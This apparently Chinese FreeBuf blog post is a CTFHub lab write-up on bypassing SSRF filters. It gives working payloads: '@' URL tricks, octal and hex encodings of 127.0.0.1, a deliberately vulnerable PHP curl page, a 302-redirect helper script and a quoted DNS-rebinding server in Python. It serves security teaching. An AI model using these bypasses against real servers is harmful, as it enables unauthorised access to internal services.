freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

SSRF Bypass技巧介绍
2021-02-15 10:40:21

之前的文章我们介绍了SSRF漏的基础利用方法,以及利用SSRF攻击内网的服务,不过这些攻击都是在服务器没有对地址做任何过滤的情况下,通常情况下后台的代码中都会对我们所要访问的URL做一些过滤,今天我就来介绍一下SSRF中的一些绕过方法。

0x01 URL Bypass

我们还是以 CTFHub 中的技能树为例,首先看看URL Bypass。

题目上没有任何提示,我们直接进入环境。

进入环境后页面提示我们URL必须以“http://notfound.ctfhub.com”开头。

这里我们可以利用@来绕过,我们可以进行简单的测试,在浏览器中输入:

www.test.atl.ocean@www.baidu.com

访问后发现最终访问的是“www.baidu.com

那么我们就可以利用他来绕过限制,我们在?url=后面输入:

http://notfound.ctfhub.com@127.0.0.1/flag

访问后发现页面报未找到,不过我们可以看到访问的确实是127.0.0.1。那么我们可以尝试遍历目录,这里我直接尝试了 flag.txt,和 flag.php 然后就找到了flag:

0x02 数字IP Bypass

这一题同样题目中没有任何提示,我们就直接进入环境。

进入环境后发现同样也没有任何提示,那我们就直接在url参数后输入IP访问试试。

这回有提示了,页面告诉我们不能输入127、172和@,那么这里我们就可以采用不同进制格式的ip来绕过。

比如127.0.0.1这个地址我们可以这样表示:

8进制格式:0177.0.0.1
16进制格式:0x7F.0.0.1
10进制整数格式:2130706433
16进制整数格式:0x7F000001

我们就挨个来尝试:

直接访问发现页面没有反应,应该是通过了过滤,那我们按照上一题的思路直接访问/flag.php

成功拿到flag,那我们同样也试试其他几种写法:

可以看到,这几种写法都可以顺利的拿到flag。

0x03 302跳转Bypass

题目中也是没有任何提示,进入环境后也没有找到能够302跳转的页面。。。

结果最后直接在url参数中输入:127.0.0.1/flag.php

直接就拿到了flag。。。。

额,看来是题目有问题,那我们就在本地环境尝试一下吧。

先准备一个存在SSRF漏洞的页面:

文件名:ssrf.php,代码如下:

<?php
   highlight_file(__FILE__);
   $url = $_GET['url'];
   $curl = curl_init($url);    
   //第二种初始化curl的方式
   //$curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $_GET['url']);
   /*进行curl配置*/
   curl_setopt($curl, CURLOPT_HEADER, 0); // 不输出HTTP头
   curl_setopt($curl, CURLOPT_FOLLOWLOCATION, TRUE); // 允许302跳转
   curl_setopt($curl, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);// 限制为HTTPS、HTTP协议
   $responseText = curl_exec($curl);
   var_dump(curl_error($curl) );//如果执行curl过程中出现异常,可打开此开关,以便查看异常内容
   echo $responseText;
   curl_close($curl);
?>

这时我们尝试通过file协议查看本地文件试试:

可以看到,页面报错,file协议被禁用了。

这时候我们再准备一个能够进行302跳转的页面:

文件名:302.php,代码如下:

<?php
$schema = $_GET['s'];
$ip = $_GET['i'];
$port = $_GET['p'];
$query = $_GET['q'];
if(empty($port)){
      header("Location: $schema://$ip/$query");
}
else{
        header("Location: $schema://$ip:$port/$query");
}
?>

这时我们通过302.php页面再次利用file协议访问本地文件试试:

额,结果发现还是不能用file协议,然后又尝试了其他协议,只有http可以,我尝试把限制协议的语句注释,发现还是不行,查询资料好像是环境问题,但是还没有找到解决的办法。

(待问题解决后补充)

0x04 DNS重绑定 Bypass

这道题也是跟上一题一样,有问题,直接访问 url=127.0.0.1/flag.php就可以拿到flag。

这里介绍一下DNS重绑定Bypas的原理:

借用大佬文章中的解释:

https://zhuanlan.zhihu.com/p/73736127

1)SSRF 修复逻辑

1.取URL的Host

2.取Host的IP

3.判断是否是内网IP,是内网IP直接return,不再往下执行

4.请求URL

5.如果有跳转,取出跳转URL,执行第1步

6.正常的业务逻辑里,当判断完成最后会去请求URL,实现业务逻辑。

所以,其中会发起DNS请求的步骤为,第2、4、6步,看来至少要请求3次。因为第6步至少会执行1次DNS请求。

另外,网上有很多不严谨的SSRF修复逻辑不会判断跳转,导致可以被Bypass。

首先,修复逻辑中第2步发起DNS请求,DNS服务器返回一个外网IP,通过验证,执行到第四步。

接着,修复逻辑中第4步会发起DNS请求,DNS服务器返回一个内网IP。此时,SSRF已经产生。

不过,这一切都是在TTL为0的前提下。

2)什么是TTL?

TTL(Time To Live)是DNS缓存的时间。简单理解,假如一个域名的TTL为10s,当我们在这10s内,对该域名进行多次DNS请求,DNS服务器,只会收到一次请求,其他的都是缓存。

所以搭建的DNS服务器,需要设置TTL为0。如果不设置TTL为0,第二次DNS请求返回的是第一次缓存的外网IP,也就不能绕过了。

3)DNS请求过程

1.查询本地DNS服务器(/etc/resolv.conf)

2.如果有缓存,返回缓存的结果,不继续往下执行

3.如果没有缓存,请求远程DNS服务器,并返回结果

4)DNS缓存机制

平时使用的MAC和Windows电脑上,为了加快HTTP访问速度,系统都会进行DNS缓存。但是,在Linux上,默认不会进行DNS缓存(https://stackoverflow.com/questions/11020027/dns-caching-in-linux) ,除非运行nscd等软件。

不过,知道Linux默认不进行DNS缓存即可。这也解释了,我为什么同样的配置,我在MAC上配置不成功,Linux上配置可以。

需要注意的是,IP为8.8.8.8的DNS地址,本地不会进行DNS缓存。

1.Java默认不存在被DNS Rebinding绕过风险(TTL默认为10)

2.PHP默认会被DNS Rebinding绕过

3.Linux默认不会进行DNS缓存

5)搭建DNS服务器

DNS配置如下:

此时,当访问http://dns_rebind.joychou.me域名,先解析该域名的DNS域名为http://ns.joychou.mehttp://ns.joychou.me指向47这台服务器。

DNS Server代码如下,放在47服务器上。其功能是将第一次DNS请求返回35.185.163.135,后面所有请求返回127.0.0.1

NS记录表示这个子域名http://test.joychou.me指定由http://ns.joychou.me域名服务器解析,

A记录表示http://ns.joychou.me位置在ip地址http://xxx.xxx.xxx.xxx

在这个ip地址上搭建DNS服务器,采用python库中的twisted库中的name模块,核心代码如下:

dns.py

from twisted.internet import reactor, defer
from twisted.names import client, dns, error, server
record={}
class DynamicResolver(object):
    def _doDynamicResponse(self, query):
        name = query.name.name
        if name not in record or record[name]<1:
            ip = "35.185.163.135"
        else:
            ip = "127.0.0.1"
        if name not in record:
            record[name] = 0
        record[name] += 1
        print name + " ===> " + ip
        answer = dns.RRHeader(
            name = name,
            type = dns.A,
            cls = dns.IN,
            ttl = 0,
            payload = dns.Record_A(address = b'%s' % ip, ttl=0)
        )
        answers = [answer]
        authority = []
        additional = []
        return answers, authority, additional
    def query(self, query, timeout=None):
        return defer.succeed(self._doDynamicResponse(query))
def main():
    factory = server.DNSServerFactory(
        clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
    )
    protocol = dns.DNSDatagramProtocol(controller=factory)
    reactor.listenUDP(53, protocol)
    reactor.run()
if __name__ == '__main__':
    raise SystemExit(main())

运行python dns.py,dig查看下返回

➜ security dig @8.8.8.8 http://dns_rebind.joychou.me; <<>> DiG 9.8.3-P1 <<>> @8.8.8.8 dns_rebind.joychou.me
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 40376
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;dns_rebind.joychou.me. IN A
;; ANSWER SECTION:
dns_rebind.joychou.me. 0 IN A 35.185.163.135
;; Query time: 203 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Fri Sep 8 14:52:43 2017
;; MSG SIZE rcvd: 55
➜ security dig @8.8.8.8 http://dns_rebind.joychou.me
; <<>> DiG 9.8.3-P1 <<>> @8.8.8.8 dns_rebind.joychou.me
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 14172
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;dns_rebind.joychou.me. IN A
;; ANSWER SECTION:
dns_rebind.joychou.me. 0 IN A 127.0.0.1
;; Query time: 172 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Fri Sep 8 14:52:45 2017
;; MSG SIZE rcvd: 55

可以看到第一次返回35.185.163.135,第二次返回127.0.0.1。 dig加上@8.8.8.8是指定本地DNS地址为8.8.8.8,因为该地址不会有缓存。每dig一次,DNS Server都会收到一次请求。

curl 'http://test.joychou.org:8080/checkssrf?url=http://dns_rebind.joychou.me'

返回http://test.joychou.org页面内容It works.

在测试时,我把该服务器的80端口已经限制为只有本地能访问,所以,我们的POC已经绕过内网的限制。

以上引用文章中内容。

个人简单理解原理就是在过滤IP地址时会先进行一次DNS解析,来确定是否为内网IP,此时让我们的DNS服务器解析为外网地址通过检测,然后当真正发起请求时,因为ttl值设置为了0,所以服务器会再次向我们的DNS服务器请求解析IP,这时再返回内网的IP地址,这样就绕过了地址的过滤。

因为实验需要有自己的域名,并且还需要搭建DNS服务器,条件比较苛刻,在实际环境中的应用也比较有限,在这里就没办法进行实验了,就先简单了解一下原理吧。

# 渗透测试 # web安全 # 网络安全技术
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录